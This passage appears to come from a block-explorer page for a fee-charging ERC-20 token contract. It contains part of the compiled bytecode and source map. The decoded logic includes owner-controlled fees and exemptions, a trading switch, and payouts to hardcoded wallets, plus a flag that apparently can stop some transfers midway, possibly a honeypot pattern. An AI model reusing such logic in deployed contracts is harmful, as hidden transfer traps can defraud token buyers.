20820152610183565b34801561038b575f80fd5b50600454610315906001600160a01b031681565b3480156103aa575f80fd5b506101b86103b936600461145c565b6106ed565b3480156103c9575f80fd5b506101d86106f9565b3480156103dd575f80fd5b506101d8610709565b3480156103f1575f80fd5b506101d8610400366004611561565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610435575f80fd5b506101b86104443660046114ff565b60166020525f908152604090205460ff1681565b348015610463575f80fd5b506102056104723660046114ff565b610719565b348015610482575f80fd5b5061020561049136600461158d565b610781565b5f6104a2338484610857565b5060015b92915050565b5f546001600160a01b031633146104c1575f80fd5b6001600160a01b03919091165f908152601660205260409020805460ff1916911515919091179055565b5f6104f78484846108db565b6001600160a01b0384165f908152600d602090815260408083203380855292529091205461053091869161052b9086610b8b565b610857565b5060015b9392505050565b5f546001600160a01b03163314610550575f80fd5b600a805463ff00000019166301000000179055565b5f546001600160a01b0316331461057a575f80fd5b6015849055600e85905560138690556014879055600f819055601082905560118390556003546105ab906005610b96565b601154111580156105cb57506003546105c5906005610b96565b60105411155b6105d3575f80fd5b50505050505050565b5f546001600160a01b031633146105f1575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461064a575f80fd5b61271060078190556008819055600655565b5f60035460085461066c60015490565b61067691906115ca565b61068091906115e1565b905090565b60126020527f1120e10407cab1193d7c5139d9aae5536deb3d83e855f25f8e42f811c01f56f7545f8080527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b5460015491926106809290916106e79190610b8b565b90610b8b565b5f6104a23384846108db565b5f60035460065461066c60015490565b5f60035460075461066c60015490565b5f546001600160a01b0316331461072e575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b5f546001600160a01b03163314610796575f80fd5b5f6107b76103e86107b160056107ab60015490565b90610ba1565b90610b96565b90505f612710846107c760015490565b6107d191906115ca565b6107db91906115e1565b90505f612710866107eb60015490565b6107f591906115ca565b6107ff91906115e1565b90505f6127108561080f60015490565b61081991906115ca565b61082391906115e1565b60068790556008889055600786905590508382108015906108445750838310155b80156105cb5750838110156105d3575f80fd5b6001600160a01b038316610869575f80fd5b6001600160a01b03821661087b575f80fd5b6001600160a01b038381165f818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6108e58383610bac565b80156108f757506108f7838383610c08565b801561090857506109088383610c38565b801561091a575061091a838383610c92565b801561092c575061092c838383610d5e565b15610b86576001600160a01b038381165f818152601260209081526040808320546016909252808320546004548887168552919093205491861180159560ff948516959216909114159290911690610aa5578215801561098a575080155b156109c357600a5462010000900460ff161580156109a55750815b156109c357600a54610100900460ff166105d3576109c38787610e23565b6001600160a01b0387165f908152601260205260409020546109e59086610b8b565b6001600160a01b0388165f90815260126020526040812091909155610a0a8888610e62565b610a145785610a1f565b610a1f888888610ea6565b6001600160a01b0388165f90815260126020526040902054909150610a449082610f90565b6001600160a01b038089165f8181526012602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a979085815260200190565b60405180910390a3506105d3565b600a5462010000900460ff16158015610abc575080155b156105d357828015610acb5750815b156105d3576001600160a01b0387165f90815260126020526040902054610af29086610f90565b6001600160a01b038881165f8181526012602090815260409182902094909455518881529189169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b0386165f90815260126020526040902054610b699086610b8b565b6001600160a01b0387165f90815260126020526040902055505050505b505050565b5f6105348284611600565b5f61053482846115e1565b5f61053482846115ca565b6004545f906001600160a01b038381169116148015610be357506001600160a01b0383165f9081526016602052604090205460ff16155b156104a257600160095f828254610bfa9190611613565b909155505050600192915050565b5f6001600160a01b038316610c1b575f80fd5b5f8211610c26575f80fd5b6001600160a01b038416610530575f80fd5b6001600160a01b0382165f9081526016602052604081205460ff16158015610c7857506001600160a01b0382165f9081526016602052604090205460ff16155b156104a257600a546301000000900460ff166104a2575f80fd5b6004546001600160a01b038481165f908152601660205260408082205486841680845291832054600254939561dead841480159691909116909314159360ff9283169391909216918711908590610ce65750835b8015610cf0575081155b8015610cfa575082155b15610d3357610d07610709565b6001600160a01b0389165f90815260126020526040902054610d299089610f90565b1115610d33575f80fd5b8015610d4f578115610d4f57600a805461ff0019166101001790555b50600198975050505050505050565b6004545f906001600160a01b03858116911614610dcc57610d7d6106f9565b82111580610da257506001600160a01b0384165f9081526016602052604090205460ff165b80610dc457506001600160a01b0383165f9081526016602052604090205460ff165b610dcc575f80fd5b610dd461065c565b82111580610df957506001600160a01b0384165f9081526016602052604090205460ff165b80610e1b57506001600160a01b0383165f9081526016602052604090205460ff165b610530575f80fd5b610e2d8282610f9b565b15610e5e57305f90815260126020526040902054600c548110610e4f5750600c545b610e5881611035565b505f6009555b5050565b6001600160a01b0382165f9081526016602052604081205460ff161580156105345750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610eb285856111b7565b1115610f89575f610ed4610ec686866111b7565b6003546107ab908690610b96565b305f90815260126020526040902054909150610ef09082610f90565b305f81815260126020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f409085815260200190565b60405180910390a3600e5415610f7757610f773061dead610f72600e546107ab60035489610b9690919063ffffffff16565b6108db565b610f818382610b8b565b915050610534565b5092915050565b5f6105348284611613565b6001600160a01b0381165f9081526016602052604081205460ff16158015610fcc5750600a5462010000900460ff16155b8015610ff057506001600160a01b0383165f9081526016602052604090205460ff16155b80156110055750600a546301000000900460ff165b80156110135750600a5460ff165b80156105345750600b54305f9081526012602052604090205410159392505050565b600a805462ff00001916620100001790556015546013546014545f92611070926002926107ab929161106a9182906001610f90565b90610f90565b90505f61108c826107b160145486610ba190919063ffffffff16565b90505f6110998483610b8b565b9050476110a582611201565b5f6110b04783610b8b565b90505f6110d26110cb60145488610b8b90919063ffffffff16565b8390610b96565b90505f6110ea60145483610ba190919063ffffffff16565b905080156110fc576110fc8682611361565b6013545f90611110906107ab856002610ba1565b905080156111585760405173dae5119637a3a738a2d3c04979152433ea6b6c029082156108fc029083905f818181858888f19350505050158015611156573d5f803e3d5ffd5b505b47801561119f5760405173e80a2692e024f58a6b8a8de942167bba915f06d29082156108fc029083905f818181858888f1935050505015801561119d573d5f803e3d5ffd5b505b5050600a805462ff0000191690555050505050505050565b6004545f906001600160a01b03908116908416036111d857506011546104a6565b6004546001600160a01b03908116908316036111f757506010546104a6565b50600f5492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123457611234611626565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112af919061163a565b816001815181106112c2576112c2611626565b6001600160a01b03909216602092830291909101909101528115610e5e576005546112f89030906001600160a01b031684610857565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906113309085905f90869030904290600401611655565b5f604051808303815f87803b158015611347575f80fd5b505af1158015611359573d5f803e3d5ffd5b505050505050565b6005546113799030906001600160a01b031684610857565b60055460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156113e4573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061140991906116c6565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611459575f80fd5b50565b5f806040838503121561146d575f80fd5b823561147881611445565b946020939093013593505050565b5f8060408385031215611497575f80fd5b82356114a281611445565b9150602083013580151581146114b6575f80fd5b809150509250929050565b5f805f606084860312156114d3575f80fd5b83356114de81611445565b925060208401356114ee81611445565b929592945050506040919091013590565b5f6020828403121561150f575f80fd5b813561053481611445565b5f805f805f805f60e0888a031215611530575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611572575f80fd5b823561157d81611445565b915060208301356114b681611445565b5f805f6060848603121561159f575f80fd5b505081359360208301359350604090920135919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104a6576104a66115b6565b5f826115fb57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104a6576104a66115b6565b808201808211156104a6576104a66115b6565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561164a575f80fd5b815161053481611445565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116a55784516001600160a01b031683529383019391830191600101611680565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156116d8575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212206b7af65f6fac87f78bf4cb8578a712ad8981384a5cb22f50291cad16390bda1864736f6c63430008190033
Deployed Bytecode Sourcemap
2947:12813:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5781:83;;;;;;;;;;-1:-1:-1;5851:5:0;;;;;;;;;;;;-1:-1:-1;;;5851:5:0;;;;5781:83;;;;;;;:::i;:::-;;;;;;;;6874:159;;;;;;;;;;-1:-1:-1;6874:159:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6874:159:0;893:187:1;6276:100:0;;;;;;;;;;-1:-1:-1;6356:12:0;;6276:100;;;1231:25:1;;;1219:2;1204:18;6276:100:0;1085:177:1;6655:119:0;;;;;;;;;;-1:-1:-1;6655:119:0;;;;;:::i;:::-;;:::i;:::-;;11810:243;;;;;;;;;;-1:-1:-1;11810:243:0;;;;;:::i;:::-;;:::i;6782:84::-;;;;;;;;;;;;;:::i;2837:103::-;;;;;;;;;;-1:-1:-1;2837:103:0;;;;;:::i;:::-;2892:4;2927:5;-1:-1:-1;;;;;2916:16:0;;;2927:5;;2916:16;;2837:103;6034:83;;;;;;;;;;-1:-1:-1;6034:83:0;;3056:1;2543:36:1;;2531:2;2516:18;6034:83:0;2401:184:1;7543:496:0;;;;;;;;;;-1:-1:-1;7543:496:0;;;;;:::i;:::-;;:::i;6528:119::-;;;;;;;;;;-1:-1:-1;6528:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6621:18:0;6594:7;6621:18;;;:9;:18;;;;;;;6528:119;2484:139;;;;;;;;;;;;;:::i;6384:136::-;;;;;;;;;;;;;:::i;5681:92::-;;;;;;;;;;-1:-1:-1;5733:7:0;5760:5;-1:-1:-1;;;;;5760:5:0;5681:92;;;-1:-1:-1;;;;;3351:32:1;;;3333:51;;3321:2;3306:18;5681:92:0;3187:203:1;5360:115:0;;;;;;;;;;;;;:::i;5872:154::-;;;;;;;;;;;;;:::i;5483:87::-;;;;;;;;;;-1:-1:-1;5555:7:0;;;;;;;;;;;;-1:-1:-1;;;5555:7:0;;;;5483:87;;3342:19;;;;;;;;;;-1:-1:-1;3342:19:0;;;;-1:-1:-1;;;;;3342:19:0;;;7041:151;;;;;;;;;;-1:-1:-1;7041:151:0;;;;;:::i;:::-;;:::i;5225:127::-;;;;;;;;;;;;;:::i;5094:123::-;;;;;;;;;;;;;:::i;6125:143::-;;;;;;;;;;-1:-1:-1;6125:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6233:18:0;;;6206:7;6233:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6125:143;4493:40;;;;;;;;;;-1:-1:-1;4493:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2631:148;;;;;;;;;;-1:-1:-1;2631:148:0;;;;;:::i;:::-;;:::i;8290:554::-;;;;;;;;;;-1:-1:-1;8290:554:0;;;;;:::i;:::-;;:::i;6874:159::-;6949:4;6966:37;6975:10;6987:7;6996:6;6966:8;:37::i;:::-;-1:-1:-1;7021:4:0;6874:159;;;;;:::o;6655:119::-;2892:4;2927:5;-1:-1:-1;;;;;2927:5:0;2375:10;2916:16;2359:28;;;;;;-1:-1:-1;;;;;6738:17:0;;;::::1;;::::0;;;:7:::1;:17;::::0;;;;:28;;-1:-1:-1;;6738:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6655:119::o;11810:243::-;11899:4;11916:27;11926:4;11932:2;11936:6;11916:9;:27::i;:::-;-1:-1:-1;;;;;11981:17:0;;;;;;:11;:17;;;;;;;;11969:10;11981:29;;;;;;;;;11954:69;;11963:4;;11981:41;;12015:6;11981:33;:41::i;:::-;11954:8;:69::i;:::-;-1:-1:-1;12041:4:0;11810:243;;;;;;:::o;6782:84::-;2892:4;2927:5;-1:-1:-1;;;;;2927:5:0;2375:10;2916:16;2359:28;;;;;;6836:15:::1;:22:::0;;-1:-1:-1;;6836:22:0::1;::::0;::::1;::::0;;6782:84::o;7543:496::-;2892:4;2927:5;-1:-1:-1;;;;;2927:5:0;2375:10;2916:16;2359:28;;;;;;7726:7:::1;:16:::0;;;7753:8:::1;:18:::0;;;7782:13:::1;:28:::0;;;7821:13:::1;:28:::0;;;7860:12:::1;:26:::0;;;7897:8:::1;:18:::0;;;7926:9:::1;:20:::0;;;-1:-1:-1;7978:11:0;:18:::1;::::0;-1:-1:-1;7978:15:0::1;:18::i;:::-;7965:9;;:31;;:65;;;;-1:-1:-1::0;8012:11:0::1;::::0;:18:::1;::::0;8028:1:::1;8012:15;:18::i;:::-;8000:8;;:30;;7965:65;7957:74;;;::::0;::::1;;7543:496:::0;;;;;;;:::o;2484:139::-;2892:4;2927:5;-1:-1:-1;;;;;2927:5:0;2375:10;2916:16;2359:28;;;;;;2565:1:::1;2549:18:::0;;-1:-1:-1;;;;;;2549:18:0::1;::::0;;2583:32:::1;::::0;3333:51:1;;;2583:32:0::1;::::0;3321:2:1;3306:18;2583:32:0::1;;;;;;;2484:139::o:0;6384:136::-;2892:4;2927:5;-1:-1:-1;;;;;2927:5:0;2375:10;2916:16;2359:28;;;;;;6451:5:::1;6438:10;:18:::0;;;6467:6:::1;:14:::0;;;6492:12:::1;:20:::0;6384:136::o;5360:115::-;5404:7;5456:11;;5447:6;;5431:13;6356:12;;;6276:100;5431:13;:22;;;;:::i;:::-;:36;;;;:::i;:::-;5424:43;;5360:115;:::o;5872:154::-;6621:9;:18;;;;5931:7;6621:18;;;;;5958:12;;5931:7;;5958:60;;6621:18;;5958:39;;:12;:16;:39::i;:::-;:43;;:60::i;7041:151::-;7112:4;7129:33;7139:10;7151:2;7155:6;7129:9;:33::i;5225:127::-;5275:7;5333:11;;5318:12;;5302:13;6356:12;;;6276:100;5094:123;5142:7;5198:11;;5185:10;;5169:13;6356:12;;;6276:100;2631:148;2892:4;2927:5;-1:-1:-1;;;;;2927:5:0;2375:10;2916:16;2359:28;;;;;;2711:5:::1;:15:::0;;-1:-1:-1;;;;;;2711:15:0::1;-1:-1:-1::0;;;;;2711:15:0;::::1;::::0;;::::1;::::0;;;2742:29:::1;::::0;3333:51:1;;;2742:29:0::1;::::0;3321:2:1;3306:18;2742:29:0::1;;;;;;;2631:148:::0;:::o;8290:554::-;2892:4;2927:5;-1:-1:-1;;;;;2927:5:0;2375:10;2916:16;2359:28;;;;;;8401:18:::1;8422:30;8447:4;8422:20;8440:1;8422:13;6356:12:::0;;;6276:100;8422:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;8401:51;;8463:19;8517:5;8502:11;8486:13;6356:12:::0;;;6276:100;8486:13:::1;:27;;;;:::i;:::-;8485:37;;;;:::i;:::-;8463:59;;8533:13;8575:5;8566;8550:13;6356:12:::0;;;6276:100;8550:13:::1;:21;;;;:::i;:::-;8549:31;;;;:::i;:::-;8533:47;;8591:17;8641:5;8628:9;8612:13;6356:12:::0;;;6276:100;8612:13:::1;:25;;;;:::i;:::-;8611:35;;;;:::i;:::-;8657:12;:26:::0;;;8694:6:::1;:14:::0;;;8719:10:::1;:22:::0;;;8591:55;-1:-1:-1;8760:19:0;;::::1;::::0;::::1;::::0;:48:::1;;;8798:10;8783:11;:25;;8760:48;:75;;;;;8825:10;8812:9;:23;;8752:84;;;::::0;::::1;9559:257:::0;-1:-1:-1;;;;;9652:19:0;;9644:28;;;;;;-1:-1:-1;;;;;9691:21:0;;9683:30;;;;;;-1:-1:-1;;;;;9724:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9776:32;;1231:25:1;;;9776:32:0;;1204:18:1;9776:32:0;;;;;;;9559:257;;;:::o;10391:1411::-;10489:25;10505:4;10511:2;10489:15;:25::i;:::-;:72;;;;;10531:30;10544:4;10550:2;10554:6;10531:12;:30::i;:::-;10489:113;;;;;10578:24;10593:4;10599:2;10578:14;:24::i;:::-;10489:164;;;;;10619:34;10636:4;10642:2;10646:6;10619:16;:34::i;:::-;10489:222;;;;;10670:41;10694:4;10700:2;10704:6;10670:23;:41::i;:::-;10471:1324;;;-1:-1:-1;;;;;6621:18:0;;;10738;6621;;;:9;:18;;;;;;;;;10818:7;:13;;;;;;;10872:4;;10908:11;;;;;;;;;;10759:25;;-1:-1:-1;10759:25:0;;;10818:13;;;;;10872:4;;10864:12;;;;;10908:11;;;;10936:848;;10979:11;10978:12;:26;;;;;10995:9;10994:10;10978:26;10974:206;;;11034:9;;;;;;;11033:10;:24;;;;;11047:10;11033:24;11029:132;;;11091:5;;;;;;;11086:52;;11100:18;11109:4;11115:2;11100:8;:18::i;:::-;-1:-1:-1;;;;;11216:15:0;;;;;;:9;:15;;;;;;:27;;11236:6;11216:19;:27::i;:::-;-1:-1:-1;;;;;11198:15:0;;;;;;:9;:15;;;;;:45;;;;11284:21;11208:4;11302:2;11284:11;:21::i;:::-;:57;;11335:6;11284:57;;;11308:24;11315:4;11321:2;11325:6;11308;:24::i;:::-;-1:-1:-1;;;;;11376:13:0;;;;;;:9;:13;;;;;;11262:79;;-1:-1:-1;11376:30:0;;11262:79;11376:17;:30::i;:::-;-1:-1:-1;;;;;11360:13:0;;;;;;;:9;:13;;;;;;;:46;;;;11430:31;;;;;;;;;;11449:11;1231:25:1;;1219:2;1204:18;;1085:177;11430:31:0;;;;;;;;10955:522;10936:848;;;11488:9;;;;;;;11487:10;:24;;;;;11502:9;11501:10;11487:24;11483:301;;;11536:11;:25;;;;;11551:10;11536:25;11532:237;;;-1:-1:-1;;;;;11604:15:0;;;;;;:9;:15;;;;;;:27;;11624:6;11604:19;:27::i;:::-;-1:-1:-1;;;;;11586:15:0;;;;;;;:9;:15;;;;;;;;;:45;;;;11659:26;1231:25:1;;;11659:26:0;;;;11586:15;;11659:26;;1204:18:1;11659:26:0;;;;;;;-1:-1:-1;;;;;11724:13:0;;;;;;:9;:13;;;;;;:25;;11742:6;11724:17;:25::i;:::-;-1:-1:-1;;;;;11708:13:0;;;;;;:9;:13;;;;;:41;10723:1072;;;;10471:1324;10391:1411;;;:::o;87:98::-;145:7;172:5;176:1;172;:5;:::i;299:98::-;357:7;384:5;388:1;384;:5;:::i;405:98::-;463:7;490:5;494:1;490;:5;:::i;10042:201::-;10138:4;;10111;;-1:-1:-1;;;;;10132:10:0;;;10138:4;;10132:10;:28;;;;-1:-1:-1;;;;;;10147:13:0;;;;;;:7;:13;;;;;;;;10146:14;10132:28;10128:86;;;10200:1;10177:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;;10231:4:0;10042:201;;;;:::o;8047:235::-;8133:4;-1:-1:-1;;;;;8158:16:0;;8150:25;;;;;;8211:1;8194:6;:19;8186:28;;;;;;-1:-1:-1;;;;;8233:18:0;;8225:27;;;;;9824:206;-1:-1:-1;;;;;9919:13:0;;9897:4;9919:13;;;:7;:13;;;;;;;;9918:14;:30;;;;-1:-1:-1;;;;;;9937:11:0;;;;;;:7;:11;;;;;;;;9936:12;9918:30;9914:87;;;9973:15;;;;;;;9965:24;;;;;8852:699;9031:4;;-1:-1:-1;;;;;9066:13:0;;;8938:4;9066:13;;;:7;:13;;;;;;;8971:19;;;9107:11;;;;;;;9164:8;;8938:4;;3432:42;8971:19;;;;;9031:4;;;;9017:19;;;;;9066:13;;;;;9107:11;;;;;9155:17;;;8971:19;;9211:33;;;9236:8;9211:33;:60;;;;;9262:9;9261:10;9211:60;:89;;;;;9289:11;9288:12;9211:89;9193:203;;;9366:17;:15;:17::i;:::-;-1:-1:-1;;;;;9336:13:0;;;;;;:9;:13;;;;;;:25;;9354:6;9336:17;:25::i;:::-;9335:48;;9327:57;;;;;;9412:18;9408:112;;;9451:9;9447:62;;;9481:5;:12;;-1:-1:-1;;9481:12:0;;;;;9447:62;-1:-1:-1;9539:4:0;;8852:699;-1:-1:-1;;;;;;;;8852:699:0:o;7200:335::-;7328:4;;7299;;-1:-1:-1;;;;;7320:12:0;;;7328:4;;7320:12;7316:115;;7367:19;:17;:19::i;:::-;7357:6;:29;;:46;;;-1:-1:-1;;;;;;7390:13:0;;;;;;:7;:13;;;;;;;;7357:46;:61;;;-1:-1:-1;;;;;;7407:11:0;;;;;;:7;:11;;;;;;;;7357:61;7349:70;;;;;;7459:13;:11;:13::i;:::-;7449:6;:23;;:40;;;-1:-1:-1;;;;;;7476:13:0;;;;;;:7;:13;;;;;;;;7449:40;:55;;;-1:-1:-1;;;;;;7493:11:0;;;;;;:7;:11;;;;;;;;7449:55;7441:64;;;;;15315:405;15383:22;15396:4;15402:2;15383:12;:22::i;:::-;15379:334;;;15471:4;15422:28;6621:18;;;:9;:18;;;;;;15520:16;;15496:40;;15492:120;;-1:-1:-1;15580:16:0;;15492:120;15626:36;15641:20;15626:14;:36::i;:::-;-1:-1:-1;15699:1:0;15677:11;:24;15379:334;15315:405;;:::o;10251:132::-;-1:-1:-1;;;;;10346:13:0;;10321:4;10346:13;;;:7;:13;;;;;;;;10345:14;:30;;;;-1:-1:-1;;;;;;;10364:11:0;;;;;:7;:11;;;;;;;;10363:12;;10251:132;-1:-1:-1;10251:132:0:o;14653:654::-;14734:7;14784:1;14758:23;14772:4;14778:2;14758:13;:23::i;:::-;:27;14754:517;;;14802:25;14830:57;14863:23;14877:4;14883:2;14863:13;:23::i;:::-;14846:11;;14830:28;;:11;;:15;:28::i;:57::-;14947:4;14929:24;;;;:9;:24;;;;;;14802:85;;-1:-1:-1;14929:47:0;;14802:85;14929:28;:47::i;:::-;14920:4;14902:24;;;;:9;:24;;;;;;;:74;;;;14996:48;;-1:-1:-1;;;;;14996:48:0;;;;;;;15026:17;1231:25:1;;1219:2;1204:18;;1085:177;14996:48:0;;;;;;;;15063:8;;:21;15059:145;;15105:83;15123:4;3432:42;15145;15178:8;;15145:28;15161:11;;15145;:15;;:28;;;;:::i;:42::-;15105:9;:83::i;:::-;15225:34;:11;15241:17;15225:15;:34::i;:::-;15218:41;;;;;14754:517;-1:-1:-1;15288:11:0;14653:654;-1:-1:-1;;14653:654:0:o;193:98::-;251:7;278:5;282:1;278;:5;:::i;12061:361::-;-1:-1:-1;;;;;12214:11:0;;12132:4;12214:11;;;:7;:11;;;;;;;;12213:12;12171:81;;;;-1:-1:-1;12243:9:0;;;;;;;12242:10;12171:81;:112;;;;-1:-1:-1;;;;;;12270:13:0;;;;;;:7;:13;;;;;;;;12269:14;12171:112;:144;;;;-1:-1:-1;12300:15:0;;;;;;;12171:144;:173;;;;-1:-1:-1;12332:12:0;;;;12171:173;:232;;;;-1:-1:-1;12389:14:0;;12379:4;6594:7;6621:18;;;:9;:18;;;;;;12361:42;;;12061:361;-1:-1:-1;;;12061:361:0:o;13582:1063::-;5609:9;:16;;-1:-1:-1;;5609:16:0;;;;;13720:7:::1;::::0;13701:13:::1;::::0;13676::::1;::::0;5609:16;;13675:61:::1;::::0;5609:9;;13676:52:::1;::::0;13720:7;13676:39:::1;::::0;;;5621:4;13676:17:::1;:20::i;:::-;:24:::0;::::1;:39::i;13675:61::-;13652:84;;13747:23;13773:43;13803:12;13773:25;13784:13;;13773:6;:10;;:25;;;;:::i;:43::-;13747:69:::0;-1:-1:-1;13827:17:0::1;13847:27;:6:::0;13747:69;13847:10:::1;:27::i;:::-;13827:47:::0;-1:-1:-1;13913:21:0::1;13945:27;13827:47:::0;13945:16:::1;:27::i;:::-;13983:16;14002:44;:21;14028:17:::0;14002:25:::1;:44::i;:::-;13983:63;;14057:15;14075:45;14088:31;14105:13;;14088:12;:16;;:31;;;;:::i;:::-;14075:8:::0;;:12:::1;:45::i;:::-;14057:63;;14131:20;14154:26;14166:13;;14154:7;:11;;:26;;;;:::i;:::-;14131:49:::0;-1:-1:-1;14195:25:0;;14191:101:::1;;14237:43;14250:15;14267:12;14237;:43::i;:::-;14344:13;::::0;14302:20:::1;::::0;14325:33:::1;::::0;:14:::1;:7:::0;14337:1:::1;14325:11;:14::i;:33::-;14302:56:::0;-1:-1:-1;14373:16:0;;14369:90:::1;;14406:41;::::0;3606:42:::1;::::0;14406:41;::::1;;;::::0;14434:12;;14406:41:::1;::::0;;;14434:12;3606:42;14406:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14369:90;14499:21;14535:32:::0;;14531:107:::1;;14584:42;::::0;3519::::1;::::0;14584;::::1;;;::::0;14606:19;;14584:42:::1;::::0;;;14606:19;3519:42;14584;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14531:107;-1:-1:-1::0;;5648:9:0;:17;;-1:-1:-1;;5648:17:0;;;-1:-1:-1;;;;;;;;13582:1063:0:o;13304:270::-;13408:4;;13376:7;;-1:-1:-1;;;;;13408:4:0;;;13400:12;;;;13396:61;;-1:-1:-1;13436:9:0;;13429:16;;13396:61;13479:4;;-1:-1:-1;;;;;13479:4:0;;;13473:10;;;;13469:58;;-1:-1:-1;13507:8:0;;13500:15;;13469:58;-1:-1:-1;13554:12:0;;13304:270;;;;:::o;12777:519::-;12867:16;;;12881:1;12867:16;;;;;;;;12843:21;;12867:16;;;;;;;;;;-1:-1:-1;12867:16:0;12843:40;;12912:4;12894;12899:1;12894:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12894:23:0;;;:7;;;;;;;;;;:23;;;;12938:6;;:13;;;-1:-1:-1;;;12938:13:0;;;;:6;;;;;:11;;:13;;;;;12894:7;;12938:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12928:4;12933:1;12928:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12928:23:0;;;:7;;;;;;;;;;;:23;12966:15;;12962:327;;13030:6;;12998:53;;13015:4;;-1:-1:-1;;;;;13030:6:0;13039:11;12998:8;:53::i;:::-;13066:6;;:211;;-1:-1:-1;;;13066:211:0;;-1:-1:-1;;;;;13066:6:0;;;;:57;;:211;;13142:11;;13066:6;;13192:4;;13223;;13247:15;;13066:211;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12832:464;12777:519;:::o;12430:339::-;12543:6;;12511:53;;12528:4;;-1:-1:-1;;;;;12543:6:0;12552:11;12511:8;:53::i;:::-;12575:6;;:186;;-1:-1:-1;;;12575:186:0;;12638:4;12575:186;;;7221:34:1;7271:18;;;7264:34;;;12575:6:0;7314:18:1;;;7307:34;;;7357:18;;;7350:34;3432:42:0;7400:19:1;;;7393:44;12735:15:0;7453:19:1;;;7446:35;-1:-1:-1;;;;;12575:6:0;;;;:22;;12605:9;;7155:19:1;;12575:186:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12430:339;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:416::-;1332:6;1340;1393:2;1381:9;1372:7;1368:23;1364:32;1361:52;;;1409:1;1406;1399:12;1361:52;1448:9;1435:23;1467:31;1492:5;1467:31;:::i;:::-;1517:5;-1:-1:-1;1574:2:1;1559:18;;1546:32;1616:15;;1609:23;1597:36;;1587:64;;1647:1;1644;1637:12;1587:64;1670:7;1660:17;;;1267:416;;;;;:::o;1688:456::-;1765:6;1773;1781;1834:2;1822:9;1813:7;1809:23;1805:32;1802:52;;;1850:1;1847;1840:12;1802:52;1889:9;1876:23;1908:31;1933:5;1908:31;:::i;:::-;1958:5;-1:-1:-1;2015:2:1;2000:18;;1987:32;2028:33;1987:32;2028:33;:::i;:::-;1688:456;;2080:7;;-1:-1:-1;;;2134:2:1;2119:18;;;;2106:32;;1688:456::o;2149:247::-;2208:6;2261:2;2249:9;2240:7;2236:23;2232:32;2229:52;;;2277:1;2274;2267:12;2229:52;2316:9;2303:23;2335:31;2360:5;2335:31;:::i;2590:592::-;2703:6;2711;2719;2727;2735;2743;2751;2804:3;2792:9;2783:7;2779:23;2775:33;2772:53;;;2821:1;2818;2811:12;2772:53;-1:-1:-1;;2844